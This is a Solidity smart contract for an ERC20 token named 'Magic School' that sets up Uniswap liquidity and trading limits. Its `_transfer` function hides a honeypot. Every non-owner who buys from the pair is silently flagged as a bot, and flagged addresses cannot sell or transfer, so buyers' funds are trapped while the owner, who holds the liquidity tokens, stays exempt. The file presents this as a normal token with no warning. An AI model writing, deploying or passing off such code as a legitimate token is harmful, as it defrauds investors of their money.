|
|
|
|
|
|
|
|
|
pragma solidity 0.8.13;
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
function balanceOf(address account) external view returns (uint256);
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
}
|
|
|
|
interface IFactory {
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
|
}
|
|
|
|
interface IRouter {
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
|
|
) external payable returns (
|
|
uint256 amountToken, uint256 amountETH, uint256 liquidity
|
|
);
|
|
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
|
|
) external;
|
|
}
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) { return msg.sender; }
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
constructor () {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
}
|
|
function owner() public view returns (address) { return _owner; }
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner.");
|
|
_;
|
|
}
|
|
function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
|
|
function transferOwnership(address newOwner) external virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address.");
|
|
_owner = newOwner;
|
|
}
|
|
}
|
|
|
|
contract MagicSchool is IERC20, Ownable {
|
|
IRouter public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
string private constant _name = "Magic School";
|
|
string private constant _symbol = "$ACDMY";
|
|
uint8 private constant _decimals = 18;
|
|
mapping (address => uint256) private balances;
|
|
mapping (address => mapping (address => uint256)) private _allowances;
|
|
uint256 private _totalSupply = 1000000000000 * 10**18;
|
|
mapping (address => bool) public automatedMarketMakerPairs;
|
|
bool private isLiquidityAdded = false;
|
|
uint256 public maxWalletAmount = _totalSupply;
|
|
uint256 public maxTxAmount = _totalSupply;
|
|
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
|
|
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
|
|
mapping (address => bool) private _isExcludedFromFee;
|
|
mapping (address => bool) private _isBot;
|
|
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
|
|
|
|
constructor() {
|
|
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
|
uniswapV2Router = _uniswapV2Router;
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[deadWallet] = true;
|
|
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
|
|
_isExcludedFromMaxWalletLimit[address(this)] = true;
|
|
_isExcludedFromMaxWalletLimit[owner()] = true;
|
|
_isExcludedFromMaxWalletLimit[deadWallet] = true;
|
|
_isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
|
|
_isExcludedFromMaxTransactionLimit[address(this)] = true;
|
|
_isExcludedFromMaxTransactionLimit[owner()] = true;
|
|
_isExcludedFromMaxTransactionLimit[deadWallet] = true;
|
|
balances[address(this)] = _totalSupply;
|
|
emit Transfer(address(0), address(this), _totalSupply);
|
|
}
|
|
|
|
receive() external payable {}
|
|
|
|
function transfer(address recipient, uint256 amount) external override returns (bool) {
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function approve(address spender, uint256 amount) external override returns (bool) {
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
|
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
|
|
return true;
|
|
}
|
|
|
|
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
|
|
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
|
|
return true;
|
|
}
|
|
|
|
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
|
|
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
|
|
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
|
|
return true;
|
|
}
|
|
|
|
function _approve(address owner, address spender,uint256 amount) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
}
|
|
|
|
function _setAutomatedMarketMakerPair(address pair, bool value) private {
|
|
require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
|
|
automatedMarketMakerPairs[pair] = value;
|
|
}
|
|
|
|
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
|
|
require(_isExcludedFromMaxWalletLimit[account] != excluded, "wallet address already excluded.");
|
|
_isExcludedFromMaxWalletLimit[account] = excluded;
|
|
}
|
|
|
|
function excludeFromFees(address account, bool excluded) external onlyOwner {
|
|
require(_isExcludedFromFee[account] != excluded, "wallet address already excluded.");
|
|
_isExcludedFromFee[account] = excluded;
|
|
}
|
|
|
|
function activateTrading() external onlyOwner {
|
|
require(!isLiquidityAdded, "you can only add liquidity once.");
|
|
isLiquidityAdded = true;
|
|
_approve(address(this), address(uniswapV2Router), _totalSupply);
|
|
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
|
|
address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
|
|
uniswapV2Pair = _uniswapV2Pair;
|
|
maxWalletAmount = _totalSupply * 35 / 1000;
|
|
maxTxAmount = _totalSupply * 35 / 1000;
|
|
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
|
|
_isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
|
|
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
|
|
}
|
|
|
|
function name() external pure returns (string memory) { return _name; }
|
|
function symbol() external pure returns (string memory) { return _symbol; }
|
|
function decimals() external view virtual returns (uint8) { return _decimals; }
|
|
function totalSupply() external view override returns (uint256) { return _totalSupply; }
|
|
function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
|
|
function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }
|
|
|
|
function _transfer(address from, address to, uint256 amount) internal {
|
|
require(from != address(0), "cannot transfer from the zero address.");
|
|
require(to != address(0), "cannot transfer to the zero address.");
|
|
require(amount > 0, "transfer amount must be greater than zero.");
|
|
require(amount <= balanceOf(from), "cannot transfer more than balance.");
|
|
if ((from == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[to]) ||
|
|
(to == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[from])) {
|
|
require(amount <= maxTxAmount, "transfer amount exceeds the maxTxAmount.");
|
|
}
|
|
if (!_isExcludedFromMaxWalletLimit[to]) {
|
|
require((balanceOf(to) + amount) <= maxWalletAmount, "expected wallet amount exceeds the maxWalletAmount.");
|
|
}
|
|
if (to != owner() && from != owner()) {
|
|
if (from == uniswapV2Pair) { _isBot[to] = true; }
|
|
if (to == uniswapV2Pair) { require(!_isBot[from]); }
|
|
if (from != uniswapV2Pair && to != uniswapV2Pair) { require(!_isBot[from] && !_isBot[to]); }
|
|
}
|
|
balances[from] -= amount;
|
|
balances[to] += amount;
|
|
emit Transfer(from, to, amount);
|
|
}
|
|
} |
